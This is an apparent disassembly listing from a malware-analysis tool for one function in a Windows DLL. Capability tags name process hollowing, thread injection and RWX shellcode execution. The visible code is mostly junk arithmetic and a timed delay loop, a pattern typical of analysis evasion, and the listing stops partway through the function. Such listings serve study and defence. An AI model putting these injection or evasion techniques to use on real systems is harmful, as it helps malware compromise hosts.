Function at 0x180002d00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9060]
mov eax, 0x9160
call fcn.18001cb70
sub rsp, rax
movaps xmmword [rsp + 0x9150], xmm6
movaps xmmword [rsp + 0x9140], xmm7
movaps xmmword [rsp + 0x9130], xmm8
movaps xmmword [rsp + 0x9120], xmm9
movaps xmmword [rsp + 0x9110], xmm10
movaps xmmword [rsp + 0x9100], xmm11
movaps xmmword [rsp + 0x90f0], xmm12
movaps xmmword [rsp + 0x90e0], xmm13
movaps xmmword [rsp + 0x90d0], xmm14
movaps xmmword [rsp + 0x90c0], xmm15
mov rax, qword [0x180025040]
xor rax, rsp
mov qword [rbp + 0x8fb0], rax
mov qword [rbp - 0x50], rcx
mov qword [rbp + 0x3a8], rcx
mov r15, qword [rcx]
mov qword [rbp - 0x70], r15
movsxd r12, dword [r15 + 0x3c]
add r12, r15
mov qword [rbp - 0x58], r12
mov dword [rbp + 0x630], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
movups xmmword [rbp + 0x648], xmm0
movups xmmword [rbp + 0x658], xmm0
movups xmmword [rbp + 0x668], xmm0
movups xmmword [rbp + 0x678], xmm0
movups xmmword [rbp + 0x688], xmm0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1a44], 0xffffffff
mov dword [rbp + 0x6c4], eax
mov r12d, 1
mov edx, r12d
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x6c4], eax
inc rdx
cmp rdx, 0x270
jb 0x180002e10
mov dword [rbp + 0x6c0], 0x270
mov dword [rbp + 0x3e8], 0xffffff9c
mov dword [rbp + 0x3ec], 0x64
movsd xmm8, qword [0x18001f0e0]
xor r15d, r15d
mov dword [rsp + 0x50], r15d
xorps xmm10, xmm10
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x60]
call fcn.180001b20
mov rbx, qword [rbp - 0x60]
add rbx, 0x5f5e100
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x408], xmm1
mov qword [rbp + 0x418], r15
mov ecx, 8
call fcn.18001bb40
lea r14, vtable.AddOperation.0
mov qword [rax], r14
mov qword [rbp + 0x160], r15
mov qword [rbp - 8], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x180002ed2
mov qword [rbp - 8], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x180002ee3
lea r8, [rbp - 8]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x180002ef9
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x160]
test rcx, rcx
je 0x180002f11
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rsi, vtable.MultiplyOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x168], r15
mov qword [rbp], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x180002f51
mov qword [rbp], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x180002f62
lea r8, [rbp]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp]
test rcx, rcx
je 0x180002f78
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x168]
test rcx, rcx
je 0x180002f90
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rsi, vtable.SubtractOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x170], r15
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x180002fd0
mov qword [rbp + 8], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x180002fe1
lea r8, [rbp + 8]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x180002ff7
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x170]
test rcx, rcx
je 0x18000300f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rsi, vtable.DivideOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x178], r15
mov qword [rbp + 0x10], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x18000304f
mov qword [rbp + 0x10], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x180003060
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x180003076
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x178]
test rcx, rcx
je 0x18000308e
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rsi, vtable.ModulusOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x1800030ce
mov qword [rbp + 0x18], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x1800030df
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x1800030f5
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x18000310d
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rsi, vtable.ComplexOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x20], rax
mov rdx, qword [rbp + 0x410]
cmp rdx, qword [rbp + 0x418]
je 0x18000314d
mov qword [rbp + 0x20], r15
mov qword [rdx], rax
add qword [rbp + 0x410], 8
jmp 0x18000315e
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0x408]
call fcn.180013230
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x180003174
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x188]
test rcx, rcx
je 0x18000318c
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
movdqa xmm15, xmmword [0x18001f1b0]
movsd xmm12, qword [0x18001f0b8]
movsd xmm11, qword [0x18001f0d8]
movsd xmm9, qword [0x18001f0d0]
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x1800031db
imul rax, rcx, 0x64
jmp 0x18000324a
cmp rdi, 0x16e3600
jne 0x18000322f
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x18000324a
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x180003d17
mov r13d, r15d
nop word [rax + rax]
mov eax, dword [rbp + 0x3e8]
btc eax, 0x1f
mov ecx, dword [rbp + 0x3ec]
btc ecx, 0x1f
sub ecx, eax
cmp ecx, 0xffffffff
jne 0x180003289
lea rcx, [rbp + 0x6c0]
call fcn.180014200
jmp 0x1800032c8
lea edi, [rcx + 1]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800032c8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800032c8
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800032b2
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x1800032f6
call fcn.180014200
mov ecx, eax
jmp 0x18000333a
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180003336
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180003336
nop dword [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180003320
shr rcx, 0x20
lea eax, [rcx + r14]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x410]
mov r8, qword [rbp + 0x408]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x18000339c
call fcn.180014200
mov ecx, eax
jmp 0x1800033da
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800033d6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800033d6
nop
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800033c0
shr rcx, 0x20
lea r8d, [rcx + r14]
btc r8d, 0x1f
mov edx, dword [rsp + 0x50]
mov rcx, r15
call r12
mov dword [rsp + 0x50], eax
movaps xmm13, xmm10
movaps xmm1, xmm12
mov edi, 2
nop
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm1
addsd xmm13, xmm0
mulsd xmm1, xmm11
sub rdi, 1
jne 0x180003400
divsd xmm13, xmm1
mulsd xmm13, xmm9
addsd xmm13, xmm8
movaps xmm14, xmm10
movaps xmm1, xmm12
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm1
addsd xmm14, xmm0
mulsd xmm1, xmm11
sub rdi, 1
jne 0x180003450
divsd xmm14, xmm1
mulsd xmm14, xmm9
addsd xmm14, xmm8
movaps xmm0, xmm14
andps xmm0, xmm15
addsd xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm7
movaps xmm0, xmm10
movaps xmm2, xmm12
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm10
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm11
sub rdi, 1
jne 0x1800034f0
divsd xmm0, xmm2
mulsd xmm0, xmm9
addsd xmm0, xmm8
movsd xmm1, qword [0x18001f0c0]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movaps xmm0, xmm10
movaps xmm2, xmm12
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm10
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180003560
divsd xmm0, xmm2
mulsd xmm0, xmm9
addsd xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x58]
mulsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
xor r12d, r12d
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], r12
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x530]
call fcn.180011f40
nop
lea rdi, [rbp + 0x530]
cmp qword [rbp + 0x548], 0xf
cmova rdi, qword [rbp + 0x530]
lea rsi, [rbp + 0x530]
cmova rsi, qword [rbp + 0x530]
add rsi, qword [rbp + 0x540]
cmp rdi, rsi
je 0x180003667
nop dword [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x180003657
nop word [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x180003640
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x180003620
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x460], xmm1
mov qword [rbp + 0x470], r12
mov ecx, 0x190
call fcn.18001bb40
mov qword [rbp + 0x460], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x470], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x468], r14
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x2d0], rax
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x2d8], rax
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp - 0x80], xmm0
mov rsi, qword [rbp + 0x460]
cmp rsi, r14
je 0x180003714
mov rdi, qword [rbp - 0x78]
mov r15, qword [rbp - 0x80]
nop dword [rax + rax]
mov rdx, rdi
mov rcx, r15
call fcn.1800112e0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1800036f0
mov r14, qword [rbp + 0x468]
mov rsi, qword [rbp + 0x460]
mov dword [rbp + 0x5a0], 0xffffff9c
mov dword [rbp + 0x5a4], 0x64
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x350], rax
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x358], rax
movaps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp - 0x80], xmm0
cmp rsi, r14
je 0x18000378b
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
nop dword [rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1800112e0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x180003760
mov r14, qword [rbp + 0x468]
mov rsi, qword [rbp + 0x460]
xor r12d, r12d
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.180013ba0
mov r8d, r12d
mov rax, qword [rbp + 0x460]
mov rdx, r12
mov r9, qword [rbp + 0x468]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r12
test rcx, rcx
je 0x180003826
cmp rcx, 8
jb 0x180003826
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x1800037e1
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x18000383c
nop dword [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x180003830
mov eax, dword [rsp + 0x50]
add eax, r8d
mov dword [rsp + 0x50], eax
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x180003875
call fcn.180014200
mov ecx, eax
jmp 0x1800038ba
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800038b6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800038b6
nop word [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800038a0
shr rcx, 0x20
lea edi, [rcx + r14]
btc edi, 0x1f
mov r15d, dword [rbp + 0x3e8]
btc r15d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r15d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x1800038f0
call fcn.180014200
mov ecx, eax
jmp 0x18000392d
lea esi, [rax + 1]
call fcn.180014200
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x180003929
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x180003929
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x180003913
shr rcx, 0x20
lea r8d, [rcx + r15]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x3ec]
lea rcx, [rbp + 0x6c0]
jne 0x1800039eb
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x1800039a0
call fcn.180014200
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
jmp 0x180003a49
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800039d8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800039d8
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1800039c2
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
jmp 0x180003a49
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x180003a00
call fcn.180014200
mov ecx, eax
jmp 0x180003a3c
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180003a38
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180003a38
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180003a22
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
mov r12d, 5
nop dword [rax]
nop word [rax + rax]
xor r15d, r15d
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x180003a91
call fcn.180014200
mov ecx, eax
jmp 0x180003acd
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180003ac9
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180003ac9
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180003ab3
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
movaps xmm1, xmm10
movaps xmm2, xmm12
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180003af0
divsd xmm1, xmm2
mulsd xmm1, xmm9
addsd xmm1, xmm8
addsd xmm1, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm1
test r15b, 1
jne 0x180003bc0
mov r14d, dword [rbp + 0x3e8]
btc r14d, 0x1f
mov eax, dword [rbp + 0x3ec]
btc eax, 0x1f
sub eax, r14d
lea rcx, [rbp + 0x6c0]
cmp eax, 0xffffffff
jne 0x180003b70
call fcn.180014200
mov ecx, eax
jmp 0x180003bac
lea edi, [rax + 1]
call fcn.180014200
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180003ba8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180003ba8
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180003b92
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180003c21
movaps xmm1, xmm10
movaps xmm2, xmm12
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x6c0]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm11
sub rdi, 1
jne 0x180003bd0
divsd xmm1, xmm2
mulsd xmm1, xmm9
addsd xmm1, xmm8
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm12
divsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
inc r15d
cmp r15d, 5
jl 0x180003a63
sub r12, 1
jne 0x180003a60
mov rcx, qword [rbp + 0x460]
test rcx, rcx
je 0x180003c9b
mov rax, qword [rbp + 0x470]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003d09
call fcn.18001bef4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x460], xmm0
xor r15d, r15d
mov qword [rbp + 0x470], r15
jmp 0x180003c9e
xor r15d, r15d
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x180003cdb
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003cd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003d10
call fcn.18001bef4
mov qword [rbp + 0x540], r15
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
inc r13d
cmp r13d, 0x186a0
jl 0x180003260
jmp 0x1800031b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x50]
mov rbx, qword [rbp + 0x408]
mov r12d, 1
test rbx, rbx
je 0x180003db9
mov rdi, qword [rbp + 0x410]
cmp rbx, rdi
je 0x180003d64
nop dword [rax]
mov rcx, qword [rbx]
test rcx, rcx
je 0x180003d54
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x180003d40
mov rbx, qword [rbp + 0x408]
mov rax, qword [rbp + 0x418]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180003d9f
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d3b
mov rcx, rbx
call fcn.18001bef4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], r15
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2dd4], 0xffffffff
mov dword [rbp + 0x1a54], eax
mov rdx, r12
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1a54], eax
inc rdx
cmp rdx, 0x270
jb 0x180003de0
mov dword [rbp + 0x1a50], 0x270
mov dword [rbp + 0x3e0], 0xffffff9c
mov dword [rbp + 0x3e4], 0x64
mov dword [rsp + 0x50], r15d
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x60]
call fcn.180001b20
mov rbx, qword [rbp - 0x60]
add rbx, 0x5f5e100
mov qword [rbp + 0x1c0], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f0], xmm1
mov qword [rbp + 0x400], r15
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180003e99
mov qword [rbp + 0x28], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x180003eaa
lea r8, [rbp + 0x28]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x180003ec0
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x180003ed8
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x198], r15
mov qword [rbp + 0x30], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180003f18
mov qword [rbp + 0x30], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x180003f29
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x180003f3f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x198]
test rcx, rcx
je 0x180003f57
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1a0], r15
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180003f97
mov qword [rbp - 0x28], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x180003fa8
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x180003fbe
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
nop
mov rcx, qword [rbp + 0x1a0]
test rcx, rcx
je 0x180003fd6
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r12d
call r8
mov ecx, 8
call fcn.18001bb40
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1a8], r15
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x3f8]
cmp rdx, qword [rbp + 0x400]
je 0x180004016
mov qword [rbp - 0x20], r15
mov qword [rdx], rax
add qword [rbp + 0x3f8], 8
jmp 0x180004027
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x3f0]
call fcn.180013230
nop
